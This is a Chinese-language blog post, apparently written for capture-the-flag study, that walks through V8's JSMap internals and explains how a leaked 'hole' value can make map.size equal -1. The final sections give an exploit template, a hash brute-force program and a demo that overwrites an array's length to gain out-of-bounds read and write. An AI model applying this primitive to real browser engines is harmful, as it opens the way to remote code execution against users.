• [原创] V8 hole 类型漏洞利用总结 【过时】

@

目录

前言

笔者刚入门 v8 利用不久，以下内容可能存在错误，如发现相关错误，希望各位大佬雅正，谢谢。

JSMap

基本概念

参考文章 [V8 Deep Dives] Understanding Map Internals
下面概念性的内容基本上就是对该参考文章的翻译或总结，建议看原文章

V8 中的 Map 是在哈希表的基础上构建出来的，但是不等同于哈希表，因为哈希表是不提供插入元素的顺序保证的，但是 ES 标准要求 Map 要记录元素的插入顺序。所以 Map 底层采用的是 deterministic hash tables，当然对于我们而言无需关心其具体是什么，类似哈希表就完了。 确定性哈希表采用的数据结构伪代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
interface Entry {
    key: any;
    value: any;
    chain: number;
}
  
interface CloseTable {
    hashTable: number[];
    dataTable: Entry[];
    nextSlot: number;
    size: number;
}

这里的 CloseTable 代码的就是代表的哈希表，其成员 hashTable 的大小代表 buckets 的数量，其第 i 个元素代表的就是第 i 个 buckets 头元素在 dataTable 中的 index：
在这里插入图片描述
其实这里把 hashTable 当作 bucket 使用数组，dataTable 当作 bucket 数组就好了，这样做的目的就是为了记录元素的插入顺序。

当删除元素时，这里仅仅就是将 key 和 value 设置为 undefined，所以这里被删除的元素仍然占据内存空间。

当然还有一个问题就是当 dataTable 满了，V8 是如何进行扩容的呢？这里引入 v8 中的实现规则：

  • dataTable.length = 2 * bucket = 2 * hashTable.length
  • 每次按照2的次幂进行扩容

这里的验证可以看参考文章，后面讲了 v8 中 Map 的内存模型了在简单验证验证。

V8 源码分析

在 v8 中，JSMap 的内存布局如下：
在这里插入图片描述

  • Map ：就不多说了，就是每个对象都有的，表示对象的 shape
  • FixedArray Length：整个 OrderedHashMap 的大小，其实就是一个 FixedArray
  • elements：存在的 entry 的数量
  • deleteds：被删除的 entry 的数量
  • buckets：bucket 的数量
  • hashTable、dataTable 就是上面介绍的两个表

考虑如下代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var map = new Map();
 
%DebugPrint(map);
readline();
 
map.set(1, 1);
map.set(2, 1);
map.set(3, 1);
map.set(4, 1);
%DebugPrint(map);
readline();
 
map.delete(3);
%DebugPrint(map);
readline();
 
map.set(5, 1);
%DebugPrint(map);
readline();

可以看到这里的 OrderedHashMap：
在这里插入图片描述
初始时，buckets 的数量为 2：
在这里插入图片描述
可以看到这里 dataTable 的大小为 12（8字节为单位哈），而每个 entry 占 3，所以总的容量其实就是 4，其为 2 * buckets 是满足之前说的 dataTable.length = 2 * buckets = 2 * hashTable.length。

当添加四个元素时：
在这里插入图片描述
这里来看下 hashTable 和 dataTable，这里我直接画了一个图：
在这里插入图片描述
这里似乎与上面参考文章说的有点不同，这里采用的头插法？而且我也没看出来这里是咋记录插入顺序的，但是这里使用 for...of 循环确实是按照顺序打印的：

1
2
3
4
5
6
7
8
9
10
......
for (let x of map) {
        print(x);
}
/*
1,1
2,1
3,1
4,1
*/

然后删除 (3, 1)：
在这里插入图片描述
可以看到这里的 elements = 3，而 deleteds = 1，这是符合逻辑的，并且 hashTable 并没有改变，仅仅将对应的 entry 的 key/value 设置成了 #hole：
在这里插入图片描述
然后再添加一个元素：
可以看到这里的 OrderedHashMap 已经发生了变换，即这里发生了扩容：
在这里插入图片描述
来看下 OrderedHashMap：
在这里插入图片描述
可以看到这里清除了 deleted entry：
在这里插入图片描述

set

map.set(key, value) 的作用就是给 map 添加元素（其实就是键值对，只是笔者习惯叫做元素，读者自己明白就好），其在 V8 层面的接口定义如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
TF_BUILTIN(MapPrototypeSet, CollectionsBuiltinsAssembler) {
  Node* const receiver = Parameter(Descriptor::kReceiver);
  Node* key = Parameter(Descriptor::kKey);
  Node* const value = Parameter(Descriptor::kValue);
  Node* const context = Parameter(Descriptor::kContext);
  // 检查 receiver 是否是 JS_MAP 类型，如果不是则抛出异常
  ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE, "Map.prototype.set");
  // 规格化 key
  key = NormalizeNumberKey(key);
  // 获取 table 即 OrderedHashMap
  TNode<OrderedHashMap> const table = CAST(LoadObjectField(receiver, JSMap::kTableOffset));
 
  VARIABLE(entry_start_position_or_hash, MachineType::PointerRepresentation(), IntPtrConstant(0));
  Label entry_found(this), not_found(this);
  // 根据 key 找到对应的 entry 索引 index，即检查 key 是否已经存在
  TryLookupOrderedHashTableIndex<OrderedHashMap>(table, key, context,
                                                 &entry_start_position_or_hash,
                                                 &entry_found, &not_found);
 
  // 成功找到 entry，即 key 已经存在
  BIND(&entry_found);
  // If we found the entry, we just store the value there.
  // 将数据存入 entry，这里是 key 已经存在，索引就直接跟新 value
  StoreFixedArrayElement(table, entry_start_position_or_hash.value(), value,
                         UPDATE_WRITE_BARRIER,
                         kPointerSize * (OrderedHashMap::kHashTableStartIndex +
                                         OrderedHashMap::kValueOffset));
  Return(receiver);
 
  Label no_hash(this), add_entry(this), store_new_entry(this);
  // 没有找到的 entry，即 key 原先不存在，说人话就是第一次 set key（或是设置过但是已经 delete 了）
  BIND(&not_found);
  {
    // If we have a hash code, we can start adding the new entry.
    // 如果已经计算了 hash code，则添加一个新 entry
    GotoIf(IntPtrGreaterThan(entry_start_position_or_hash.value(), IntPtrConstant(0)), &add_entry);
 
    // Otherwise, go to runtime to compute the hash code.
    // 否则计算 hash code
    entry_start_position_or_hash.Bind(SmiUntag(CallGetOrCreateHashRaw(key)));
    Goto(&add_entry);
  }
 
  BIND(&add_entry);
  VARIABLE(number_of_buckets, MachineType::PointerRepresentation());
  VARIABLE(occupancy, MachineType::PointerRepresentation());
  TVARIABLE(OrderedHashMap, table_var, table);
  {
    // Check we have enough space for the entry.
    // 检查是否有足够的 entry 空间
    // 获取 buckets 的数量
    number_of_buckets.Bind(SmiUntag(CAST(LoadFixedArrayElement(table, OrderedHashMap::kNumberOfBucketsIndex))));
    // 每次扩容或缩容都是按照2的次幂进行的
    STATIC_ASSERT(OrderedHashMap::kLoadFactor == 2);
    // 容量 capacity = number_of_buckets << 1 = number_of_buckets * 2
    Node* const capacity = WordShl(number_of_buckets.value(), 1);
    // 有效元素的数量 number_of_elements
    Node* const number_of_elements = SmiUntag(CAST(LoadObjectField(
        table, OrderedHashMap::kNumberOfElementsOffset)));
    // 被删除元素的数量 number_of_deleted
    Node* const number_of_deleted = SmiUntag(CAST(LoadObjectField(
        table, OrderedHashMap::kNumberOfDeletedElementsOffset)));
    // occupancy = number_of_elements + number_of_deleted 即已经被占据的 entry 空间
    occupancy.Bind(IntPtrAdd(number_of_elements, number_of_deleted));
    // 如果 occupancy < capacity，说明有空闲的 entry，因此 store_new_entry
    GotoIf(IntPtrLessThan(occupancy.value(), capacity), &store_new_entry);
 
    // We do not have enough space, grow the table and reload the relevant
    // fields.
    // 否则来到这里说明 occupancy >= capacity（应该是不存在大于的）则进行扩容
    CallRuntime(Runtime::kMapGrow, context, receiver);
    // 扩容后，又来一次获取：
    // table、number_of_buckets、new_number_of_elements、new_number_of_deleted、occupancy
    table_var = CAST(LoadObjectField(receiver, JSMap::kTableOffset));
    number_of_buckets.Bind(SmiUntag(CAST(LoadFixedArrayElement(
        table_var.value(), OrderedHashMap::kNumberOfBucketsIndex))));
    Node* const new_number_of_elements = SmiUntag(CAST(LoadObjectField(
        table_var.value(), OrderedHashMap::kNumberOfElementsOffset)));
    Node* const new_number_of_deleted = SmiUntag(CAST(LoadObjectField(
        table_var.value(), OrderedHashMap::kNumberOfDeletedElementsOffset)));
    occupancy.Bind(IntPtrAdd(new_number_of_elements, new_number_of_deleted));
    Goto(&store_new_entry);
  }
  BIND(&store_new_entry);
  // Store the key, value and connect the element to the bucket chain.
  // 看注释：存储 key、value 并且将其加入对应的 bucket 链表
  StoreOrderedHashMapNewEntry(table_var.value(), key, value,
                              entry_start_position_or_hash.value(),
                              number_of_buckets.value(), occupancy.value());
  Return(receiver);
}

set 的整个逻辑如下：

  • 检查 key 是否存在

    • 若 key 存在，则直接更新 value

    • 若 key 不存在，则检查是否存在空闲 entry

      • 若不存在空闲的 entry，则进行扩容，然后填充 entry
      • 若存在空闲的 entry，则直接填充 entry

这里是用 TryLookupOrderedHashTableIndex 函数去寻找 key 对应的 entry 的，即判断 key 是否存在：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
template <typename CollectionType>
void CollectionsBuiltinsAssembler::TryLookupOrderedHashTableIndex(
    Node* const table, Node* const key, Node* const context, Variable* result,
    Label* if_entry_found, Label* if_not_found) {
  Label if_key_smi(this), if_key_string(this), if_key_heap_number(this), if_key_bigint(this);
 
  GotoIf(TaggedIsSmi(key), &if_key_smi);
 
  Node* key_map = LoadMap(key);
  Node* key_instance_type = LoadMapInstanceType(key_map);
 
  GotoIf(IsStringInstanceType(key_instance_type), &if_key_string);
  GotoIf(IsHeapNumberMap(key_map), &if_key_heap_number);
  GotoIf(IsBigIntInstanceType(key_instance_type), &if_key_bigint);
 
  FindOrderedHashTableEntryForOtherKey<CollectionType>(
      context, table, key, result, if_entry_found, if_not_found);
 
  BIND(&if_key_smi);
  {
    FindOrderedHashTableEntryForSmiKey<CollectionType>(
        table, key, result, if_entry_found, if_not_found);
  }
 
  BIND(&if_key_string);
  {
    FindOrderedHashTableEntryForStringKey<CollectionType>(
        context, table, key, result, if_entry_found, if_not_found);
  }
 
  BIND(&if_key_heap_number);
  {
    FindOrderedHashTableEntryForHeapNumberKey<CollectionType>(
        context, table, key, result, if_entry_found, if_not_found);
  }
 
  BIND(&if_key_bigint);
  {
    FindOrderedHashTableEntryForBigIntKey<CollectionType>(
        context, table, key, result, if_entry_found, if_not_found);
  }
}

可以看到对于不同类型的 key，有着不同的寻找方式，这里以 Smi 类型的 key 为例，对于 Smi 类型的 key 寻找其 entry 利用的函数是 FindOrderedHashTableEntryForSmiKey：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
template <typename CollectionType>
void CollectionsBuiltinsAssembler::FindOrderedHashTableEntryForSmiKey(
    Node* table, Node* smi_key, Variable* result, Label* entry_found,
    Label* not_found) {
  Node* const key_untagged = SmiUntag(smi_key);
  Node* const hash = ChangeInt32ToIntPtr(ComputeIntegerHash(key_untagged, Int32Constant(0)));
  CSA_ASSERT(this, IntPtrGreaterThanOrEqual(hash, IntPtrConstant(0)));
  result->Bind(hash);
  FindOrderedHashTableEntry<CollectionType>(
      table, hash,
      [&](Node* other_key, Label* if_same, Label* if_not_same) {
        SameValueZeroSmi(smi_key, other_key, if_same, if_not_same);
      },
      result, entry_found, not_found);
}

该函数比较简单，就是先利用 ComputeIntegerHash 计算出 key 的哈希值，然后再用 FindOrderedHashTableEntry 进行查找，ComputeIntegerHash 函数如下：

1
2
3
4
5
6
7
8
9
10
11
inline uint32_t ComputeIntegerHash(uint32_t key, uint64_t seed) {
  uint32_t hash = key;
  hash = hash ^ static_cast<uint32_t>(seed);
  hash = ~hash + (hash << 15);  // hash = (hash << 15) - hash - 1;
  hash = hash ^ (hash >> 12);
  hash = hash + (hash << 2);
  hash = hash ^ (hash >> 4);
  hash = hash * 2057;  // hash = (hash + (hash << 3)) + (hash << 11);
  hash = hash ^ (hash >> 16);
  return hash & 0x3fffffff;
}

重点还是在 FindOrderedHashTableEntry 上：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
template <typename CollectionType>
void CodeStubAssembler::FindOrderedHashTableEntry(
    Node* table, Node* hash,
    std::function<void(Node*, Label*, Label*)> key_compare,
    Variable* entry_start_position, Label* entry_found, Label* not_found) {
  // Get the index of the bucket.
  // 获取 bucket 的数量 number_of_buckets
  Node* const number_of_buckets = SmiUntag(CAST(LoadFixedArrayElement(
      CAST(table), CollectionType::kNumberOfBucketsIndex)));
  // 获取 key 对于 bucket 的编号：bucket = hash[key] & (number_of_buckets - 1)
  Node* const bucket =
      WordAnd(hash, IntPtrSub(number_of_buckets, IntPtrConstant(1)));
  // 获取 first_entry = hastTable[bucket]
  Node* const first_entry = SmiUntag(CAST(LoadFixedArrayElement(
      CAST(table), bucket,
      CollectionType::kHashTableStartIndex * kPointerSize)));
 
  // Walk the bucket chain.
  // 遍历 bucket 单链表，first_entry 就是链表头
  Node* entry_start;
  Label if_key_found(this);
  {
    VARIABLE(var_entry, MachineType::PointerRepresentation(), first_entry);
    Label loop(this, {&var_entry, entry_start_position}), continue_next_entry(this);
    Goto(&loop);
    BIND(&loop);
 
    // If the entry index is the not-found sentinel, we are done.
    // 如果 var_entry = CollectionType::kNotFound，则没找到对应的 entry
    // 这里我没有找到 CollectionType::kNotFound 的定义，我猜测是 -1
    // 因为 entry 的 chain 域尾巴是 -1，hashTable 不存在时也是 -1
    GotoIf(
        WordEqual(var_entry.value(), IntPtrConstant(CollectionType::kNotFound)),
        not_found);
 
    // Make sure the entry index is within range.
    // 检查 entry index 的范围，防止越界
    CSA_ASSERT(
        this, UintPtrLessThan(
                  var_entry.value(),
                  SmiUntag(SmiAdd(
                      CAST(LoadFixedArrayElement(
                          CAST(table), CollectionType::kNumberOfElementsIndex)),
                      CAST(LoadFixedArrayElement(
                          CAST(table), CollectionType::kNumberOfDeletedElementsIndex))))));
 
    // Compute the index of the entry relative to kHashTableStartIndex.
    // 计算 entry_index 相对于 HashTableStartIndex 的偏移
    // entry_start = var_entry * 3 + number_of_buckets
    // 其实就是相对 hashTable 的偏移
    entry_start =
        IntPtrAdd(IntPtrMul(var_entry.value(), IntPtrConstant(CollectionType::kEntrySize)),
                  number_of_buckets);
 
    // Load the key from the entry.
    // 从 entry 中加载 key = candidate_key
    Node* const candidate_key = LoadFixedArrayElement(
        CAST(table), entry_start,
        CollectionType::kHashTableStartIndex * kPointerSize);
    // 这里没有找到 key_compare 的定义
    // 根据名字猜测功能为：比较 candidate_key 和传入的 key，若相同则跳转到 if_key_found
    // 否则继续验证下一个 entry，即跳转到 continue_next_entry
    key_compare(candidate_key, &if_key_found, &continue_next_entry);
 
    BIND(&continue_next_entry);
    // Load the index of the next entry in the bucket chain.
    // 加载下一个 entry 的 index，然后继续循环
    var_entry.Bind(SmiUntag(CAST(LoadFixedArrayElement(
        CAST(table), entry_start,
        (CollectionType::kHashTableStartIndex + CollectionType::kChainOffset) *
            kPointerSize))));
 
    Goto(&loop);
  }
 
  BIND(&if_key_found);
  entry_start_position->Bind(entry_start);
  Goto(entry_found);
}

整个逻辑我都注释清楚了，就不多说了，值得注意的是这里遍历 bucket 链表时存在范围检查。

后面 StoreFixedArrayElement 函数我没有找到其定义，就分析下 StoreOrderedHashMapNewEntry 函数，其实都比较比较简单，值得注意的是这里写入的 entry 是根据 hashTable 的偏移计算得到的：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void CollectionsBuiltinsAssembler::StoreOrderedHashMapNewEntry(
    TNode<OrderedHashMap> const table, Node* const key, Node* const value,
    Node* const hash, Node* const number_of_buckets, Node* const occupancy) {
  // 获取对应的 bucket index：bucket = hash[key] & (number_of_buckets-1)
  Node* const bucket = WordAnd(hash, IntPtrSub(number_of_buckets, IntPtrConstant(1)));
  // 获取 bucket 链表头 bucket_entry
  Node* const bucket_entry = LoadFixedArrayElement(table, bucket, OrderedHashMap::kHashTableStartIndex * kPointerSize);
 
  // Store the entry elements.
  // entry_start = occupancy * 3 + number_of_buckets
  // entry_start 就是新的 entry 相对于 hashTable 的偏移，这个应该可以想清楚吧
  Node* const entry_start = IntPtrAdd(
      IntPtrMul(occupancy, IntPtrConstant(OrderedHashMap::kEntrySize)),
      number_of_buckets);
  // 存储 key
  StoreFixedArrayElement(table, entry_start, key, UPDATE_WRITE_BARRIER,
                         kPointerSize * OrderedHashMap::kHashTableStartIndex);
  // 存储 value
  StoreFixedArrayElement(table, entry_start, value, UPDATE_WRITE_BARRIER,
                         kPointerSize * (OrderedHashMap::kHashTableStartIndex + OrderedHashMap::kValueOffset));
  // 存储 bucket_entry，这里采用的头插法
  StoreFixedArrayElement(table, entry_start, bucket_entry, SKIP_WRITE_BARRIER,
                         kPointerSize * (OrderedHashMap::kHashTableStartIndex +  OrderedHashMap::kChainOffset));
 
  // Update the bucket head.
  // 采用的头插法，所以更新 bucket 头为新的 entry
  StoreFixedArrayElement(table, bucket, SmiTag(occupancy), SKIP_WRITE_BARRIER,
                         OrderedHashMap::kHashTableStartIndex * kPointerSize);
 
  // Bump the elements count.
  // 跟新 elements 字段，就是将其加 1
  TNode<Smi> const number_of_elements = CAST(LoadObjectField(table, OrderedHashMap::kNumberOfElementsOffset));
  StoreObjectFieldNoWriteBarrier(table, OrderedHashMap::kNumberOfElementsOffset,
                                 SmiAdd(number_of_elements, SmiConstant(1)));
}

delete

map.delete(key) 的作用就是删除对应元素，其在 V8 层的接口函数如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
  Node* const receiver = Parameter(Descriptor::kReceiver);
  Node* key = Parameter(Descriptor::kKey);
  Node* const context = Parameter(Descriptor::kContext);
  // 检查 receiver 的类型是否为 JS_MAP_TYPE
  ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE, "Map.prototype.delete");
  // 获取 table
  TNode<OrderedHashMap> const table = CAST(LoadObjectField(receiver, JSMap::kTableOffset));
 
  VARIABLE(entry_start_position_or_hash, MachineType::PointerRepresentation(), IntPtrConstant(0));
  Label entry_found(this), not_found(this);
  // 寻找 key 对应的 entry
  TryLookupOrderedHashTableIndex<OrderedHashMap>(table, key, context,
                                                 &entry_start_position_or_hash,
                                                 &entry_found, &not_found);
  // 没找到返回 false
  BIND(&not_found);
  Return(FalseConstant());
 
  BIND(&entry_found);
  // If we found the entry, mark the entry as deleted.
  // 找到了，则标记该 entry 已经被删除
  // 修改 key 为 TheHoleConstant
  StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
                         TheHoleConstant(), UPDATE_WRITE_BARRIER,
                         kPointerSize * OrderedHashMap::kHashTableStartIndex);
  // 修改 value 为 TheHoleConstant
  StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
                         TheHoleConstant(), UPDATE_WRITE_BARRIER,
                         kPointerSize * (OrderedHashMap::kHashTableStartIndex +
                                         OrderedHashMap::kValueOffset));
 
  // Decrement the number of elements, increment the number of deleted elements.
  // elements 减 1
  TNode<Smi> const number_of_elements = SmiSub(CAST(LoadObjectField(
                  table, OrderedHashMap::kNumberOfElementsOffset)), SmiConstant(1));
  StoreObjectFieldNoWriteBarrier(table, OrderedHashMap::kNumberOfElementsOffset, number_of_elements);
  // deleted 加 1
  TNode<Smi> const number_of_deleted = SmiAdd(CAST(LoadObjectField(
                 table, OrderedHashMap::kNumberOfDeletedElementsOffset)), SmiConstant(1));
  StoreObjectFieldNoWriteBarrier(table, OrderedHashMap::kNumberOfDeletedElementsOffset, number_of_deleted);
  // 获取 bucket 的数量 number_of_buckets
  TNode<Smi> const number_of_buckets =
      CAST(LoadFixedArrayElement(table, OrderedHashMap::kNumberOfBucketsIndex));
 
  // If there fewer elements than #buckets / 2, shrink the table.
  Label shrink(this);
  // 如果 number_of_elements + number_of_elements < number_of_buckets，则进行缩减 shrink
  // 即：elements < buckets / 2 时就进行 shrink
  GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements), number_of_buckets), &shrink);
  // 返回 true
  Return(TrueConstant());
 
  BIND(&shrink);
  // 进行 shrink
  CallRuntime(Runtime::kMapShrink, context, receiver);
  Return(TrueConstant());
}

逻辑比较清楚了，看注释吧，这里来看下 Runtime::kMapShrink 函数：

1
2
3
4
5
6
7
8
9
RUNTIME_FUNCTION(Runtime_MapShrink) {
  HandleScope scope(isolate);
  DCHECK_EQ(1, args.length());
  CONVERT_ARG_HANDLE_CHECKED(JSMap, holder, 0);
  Handle<OrderedHashMap> table(OrderedHashMap::cast(holder->table()), isolate);
  table = OrderedHashMap::Shrink(isolate, table);
  holder->set_table(*table);
  return ReadOnlyRoots(isolate).undefined_value();
}

其主要就是调用的 OrderedHashMap::Shrink 函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
template <class Derived, int entrysize>
Handle<Derived> OrderedHashTable<Derived, entrysize>::Shrink(
    Isolate* isolate, Handle<Derived> table) {
  DCHECK(!table->IsObsolete());
  // 原 table 中 Elements 的数量 nof
  int nof = table->NumberOfElements();
  // 原 table 的容量 capacity
  int capacity = table->Capacity();
  // 如果 nof >= capacity / 4 = buckets / 2，则直接返回 table
  if (nof >= (capacity >> 2)) return table;
  // 否则调用 Rehash 进行 shrink，这里新的容量为 capacity / 2
  return Rehash(isolate, table, capacity / 2);
}

话不多说，跟进 Rehash 函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
template <class Derived, int entrysize>
Handle<Derived> OrderedHashTable<Derived, entrysize>::Rehash(
    Isolate* isolate, Handle<Derived> table, int new_capacity) {
  DCHECK(!table->IsObsolete());
  // 根据 new_capacity 分配一个 new_table
  Handle<Derived> new_table = Allocate(
      isolate, new_capacity, Heap::InNewSpace(*table) ? NOT_TENURED : TENURED);
  // 获取 old_table 的 Elements 的数量 nof
  int nof = table->NumberOfElements();
  // 获取 old_table 的 Deleted 的数量 nod
  int nod = table->NumberOfDeletedElements();
  // 获取 new_table 的 bucket 数量 new_buckets
  int new_buckets = new_table->NumberOfBuckets();
  int new_entry = 0;
  // 这里会将所有的 hole 删除，即删除被标记为被删除的元素
  int removed_holes_index = 0;
 
  DisallowHeapAllocation no_gc;
  // 遍历 old_table 的 old_entry
  for (int old_entry = 0; old_entry < (nof + nod); ++old_entry) {
    // 获取 key
    Object* key = table->KeyAt(old_entry);
    // 如果 key 是 hole，则删除 hole entry（这里就这样叫了，其实就是被标记为被删除的元素）
    if (key->IsTheHole(isolate)) {
      table->SetRemovedIndexAt(removed_holes_index++, old_entry);
      continue;
    }
    // 否则将其填充到 new_table 中
    // 获取 hash
    Object* hash = key->GetHash();
    // 获取对应的 bucket = hash & (new_buckets - 1)
    int bucket = Smi::ToInt(hash) & (new_buckets - 1);
    // 获取 bucket 的链表头 chain_entry
    Object* chain_entry = new_table->get(kHashTableStartIndex + bucket);
    new_table->set(kHashTableStartIndex + bucket, Smi::FromInt(new_entry));
    int new_index = new_table->EntryToIndex(new_entry);
    int old_index = table->EntryToIndex(old_entry);
    // 依次填充 key、value、chain
    for (int i = 0; i < entrysize; ++i) {
      Object* value = table->get(old_index + i);
      new_table->set(new_index + i, value);
    }
    new_table->set(new_index + kChainOffset, chain_entry);
    ++new_entry;
  }
 
  DCHECK_EQ(nod, removed_holes_index);
 
  new_table->SetNumberOfElements(nof);
  table->SetNextTable(*new_table);
 
  return new_table;
}

利用原理

前面对 JSMap 分析了那么多，哪么 hole 泄漏如何利用 JSMap 进行攻击呢？

Hole 是 JS 内部的一种数据类型，用来标记不存在的元素，这个数据类型通常是不能泄露到用户 JS 层面。Hole 类型的漏洞利用是指由于内部数据结构 Hole 通过漏洞被暴露至 用户 JS 层，因此可以根据 Hole 创建?个长度为 -1 的 JSMap 结构，导致越界读写，从而实现 RCE。

根据前面的分析，我们知道当使用 map.delete 删除一个元素时，只是将该元素的 key、value 设置为 hole，并没有实际的删除该元素，实际上只是做了个标记，当进行 shrink 操作时，这些被 hole 标记的元素才会被真正的删除。那么如果我们可以创建 key = hole 的元素，那么我们就可以多次删除元素从而导致 map.size = -1（当然这里前提是不进行 shrink 操作，因为 shrink 操作会清除 hole 元素）。考虑如下代码：

1
2
3
4
5
6
7
8
9
10
var map = new Map();
let hole = %TheHole();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
console.log(map.size);
// 输出：
// -1

可以看到这里的 elements = -1、deleted = 0、buckets = 2：
在这里插入图片描述
当然这里的触发代码为啥这样写呢？为啥要 map.set(1, 1) 呢？直接 map.set(hole, 1)，然后再 delete 两次不行吗？其实这里就是涉及到 shrink 操作会清除 hole 元素，比如考虑如下代码：

1
2
3
4
5
6
7
8
var map = new Map();
let hole = %TheHole();
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
console.log(map.size);
// 输出：
// 0

map.set(hole, 1) 后：
在这里插入图片描述
可以看到这里的：elements = 1、deleted = 0、buckets = 2

第一次 map.delete(hole) 后：
第一次 map.delete(hole) 后，elements = 0、deleted = 1、buckets = 2，由于 elements < buckets / 2，所以第一次 delete 后会发生 shrink、从而导致 hole 元素被删除，因此第二次 map.delete(hole) 时直接返回 false（这里不理解的看上面 delete 操作的源码分析）
在这里插入图片描述
Ok，现在已经成功构造了 map.size = -1 了，哪么接下来该如何去进行 OOB 呢？先来看看如果现在我们继续向 map 中添加元素，这时会发生什么呢？

在之前的 set 操作的源码分析中，我们知道当添加一个新的元素时（即 key 事先不存在）new entry 的寻找方式为：&hashTable + buckets + occupancy * 3，这里的 occupancy = elements + deleted
而在构造好 map.size = -1 后，其相关字段的值为： elements = -1、deleted = 0、buckets = 2

所以 new_entry = &hashTable + 2 + (-1 + 0) * 3 = &hashTable - 1 = hashTable[-1] = &buckets

所以 new_entry = key|value|chain = buckets|hashTbale[0]|hashTable[1]，即下一次添加新元素时，就可以修改 buckets = key1、hashTable[0] = value1

然后我们再添加新元素，此时：new_entry = &hashTable + buckets + (0 + 0) * 3 = hashTable[key1]，而 key1 我们是可以控制的，所以 new_entry 也是可控的，从而导致越界写 key/value，这里一般就是去写 JSArray 的 length 字段。

但是需要注意的是，在之前分析 set 操作源码时，我们知道当对 bucket 链表进行遍历时会存在检查，所以我们得让 bucket[hash(key) & (buckets - 1)] = -1 从而避免遍历 bucket 链表。在构造好 map.size = -1 后，第一次添加新元素是无所谓的，因为此时 bucket[0] = -1、bucket[1] = -1，但是第二次就得注意了，第一次添加时会导致 bucket[0] != -1 或者 bucket[1] != -1，但是其实 bucket[0] = value1，所以可以让 bucket[0] = value1 = -1，这样在第二次添加时我们只需要让：hash(key2) & (buckets - 1) = 0 即可，这里到时候爆破一下就 ok 了。

模板如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var map = new Map();
var hole = leak_hole();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
map.set(oob_write_offset, -1);
var oob_array = [1.1];
var obj_arr = [{}];
var float_arr = [1.1];
var rw_arr = [1.1];
map.set(key2, value2);
// 其中 hashTable[oob_write_offset + 3] = 预被修改的地址
// hashTable[oob_write_offset + 3] = key2
// 也可以用 value2 去控制，这里随意
// 但是打 JSArray 的 length 字段时，还是用 key2 去写 length
// 因为如果用 value2 去写 length 的话，elements 会被 key2 覆盖

key2 爆破脚本，这里的 ComputeUnseededHash 函数以实际的 V8 源码为准：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <bits/stdc++.h>
 
uint32_t ComputeUnseededHash(uint32_t key) {
        uint32_t hash = key;
        hash = ~hash + (hash << 15);
        hash = hash ^ (hash >> 12);
        hash = hash + (hash << 2);
        hash = hash ^ (hash >> 4);
        hash = hash * 2057;
        hash = hash ^ (hash >> 16);
        return hash & 0x3fffffff;
}
 
int main() {
        uint32_t key = 0x2000, buckets = 0x25;
        while ((ComputeUnseededHash(key) & (buckets - 1)) != 0) {
                key++;
        }
        printf("%#x\n", key);
        return 0;
}

相关例题

题目其实没啥好说的，关键就是利用漏洞把 hole 泄漏出来，后面基本都是一样的。所以这里直接用 %TheHole() 来获取 hole，以此来演示利用手法：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const {log} = console;
 
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);
 
let d2l = (v) => {
        d_buf[0] = v;
        return l_buf[0];
};
 
let l2d = (v) => {
        l_buf[0] = v;
        return d_buf[0];
};
 
let hexx = (str, v) => {
        log("\033[32m"+str+": \033[0m0x"+v.toString(16));
}
 
let decc = (str, v) => {
        log("\033[32m"+str+": \033[0m"+v);
}
 
var map = new Map();
const hole = %TheHole();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
decc("map.size", map.size);
 
map.set(37, -1);
var oob_arr = [1.1];
var tmp_arr = [2.2];
var rw_arr  = [3.3];
var obj_arr = [0xeada, rw_arr];
 
hexx("oob_arr.length", oob_arr.length);
map.set(0x2002, 0);
hexx("oob_arr.length", oob_arr.length);

效果如下：
在这里插入图片描述
可以看到这里的 oob_arr.length 成功被修改为 0x2002 导致越界读写。然后就是基本的 OOB 类型漏洞利用了，就没啥好说的了。